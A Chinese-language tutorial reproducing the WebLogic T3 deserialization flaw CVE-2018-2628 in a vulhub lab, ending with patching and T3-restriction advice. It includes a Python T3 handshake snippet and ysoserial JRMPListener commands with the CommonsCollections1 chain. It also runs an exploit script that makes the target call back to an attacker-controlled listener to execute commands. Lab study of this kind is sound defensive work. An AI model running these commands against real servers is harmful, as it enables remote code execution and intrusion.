- 前言
- T3協議概述
- 漏洞復現
- 修復方案
前言
WebLogic Server 是一個企業級的應用伺服器,由Oracle公司開發,支援完整的Java EE規範,包括EJB、JSP、Servlet、JMS等,適合大型分散式應用和高負載場景。
T3協議概述
T3協議(Two-Tier TCP/IP Protocol),是WebLogic中的一種專有協議,建立在TCP/IP協議之上,它是WebLogic的預設通訊協議,主要用於在客戶端和伺服器之間進行通訊。
在Weblogic中RMI通訊的實現是使用T3協議(通常RMI通訊使用的是JRMP協議),並且在T3的傳輸過程中,和RMI一樣,會進行序列化和反序列化的操作。所以說T3的反序列漏洞和RMI的反序列漏洞的原理幾乎是一致的。
在T3的這個協議裡面包含請求包頭和請求的主體這兩部分內容。
請求包頭(handshake):它負責定義了資料包的基本結構和傳輸協議的版本資訊。
使用Python傳送一個請求包的頭:
import socket
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
ip = "192.168.88.150"
port = 7001
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.sendall(handshake.encode())
data = sock.recv(1024)
Wireshark對它進行抓包:
這個請求包頭表明使用的是T3協議的12.2.3版本,而響應包頭中HELO後面的內容則是被連線的weblogic的版本號12.2.1.3.0。
請求包頭之後是請求的主體,其中傳輸的都是序列化資料。
以 poc 傳送的資料包指令碼為例:
第三個資料包中包括長度和在反序列化資料之前的T3協議頭,以及以ac ed 00 05
開頭的這些都是序列化的資料。所以只要要把其中一部分替換成我們的序列化資料就可以達到利用的目的。本質就是把ysoserial生成的payload變成T3協議裡的資料格式。
漏洞復現
影響版本: Weblogic 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3
環境搭建:使用 vulhub 搭建
cd /vulhub/weblogic/CVE-2018-2628
docker compose up -d
透過nmap可以探測Weblogic的T3協議是否啟用,以及版本號:
利用 ysoserial 的攻擊流程都大同小異,首先使用JRMPListener開啟一個JRMP服務監聽,利用鏈這裡選擇CC1鏈。
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "touch /tmp/success-cve-2018-2628"
使用 exp 指令碼(python2指令碼,python3執行報錯),向目標Weblogic傳送Payload:
python2 CVE-2018-2628.py 192.168.88.150 7001 ysoserial-master-SNAPSHOT.jar 192.168.88.128 2333 JRMPClient
# 192.168.88.150 是靶機IP,7001是Weblogic埠
exp執行完成後,靶機回連本地JRMP服務,JRMP服務端收到請求:
執行docker compose exec weblogic bash
進入容器中,可見檔案已成功建立:
除了RCE,還有反彈shell都是類似的操作。
修復方案
-
關閉T3服務:如果Weblogic控制檯埠(預設為7001埠)開放,T3服務會預設開啟。關閉T3服務或控制T3服務的訪問許可權可以防護該漏洞。
-
更新補丁:應用Oracle官方釋出的最新補丁,並升級JDK至1.7.0.21以上版本。
-
更改程式碼:如果無法應用補丁或更新JDK,可以考慮更改程式碼,例如在黑名單中新增特定的類名,以阻斷漏洞利用。
參考文章:
https://www.cnblogs.com/nice0e3/p/14201884.html#漏洞復現
https://xz.aliyun.com/t/10365
https://xz.aliyun.com/t/8073
http://drops.xmd5.com/static/drops/web-13470.html
若有錯誤,歡迎指正!o( ̄▽ ̄)ブ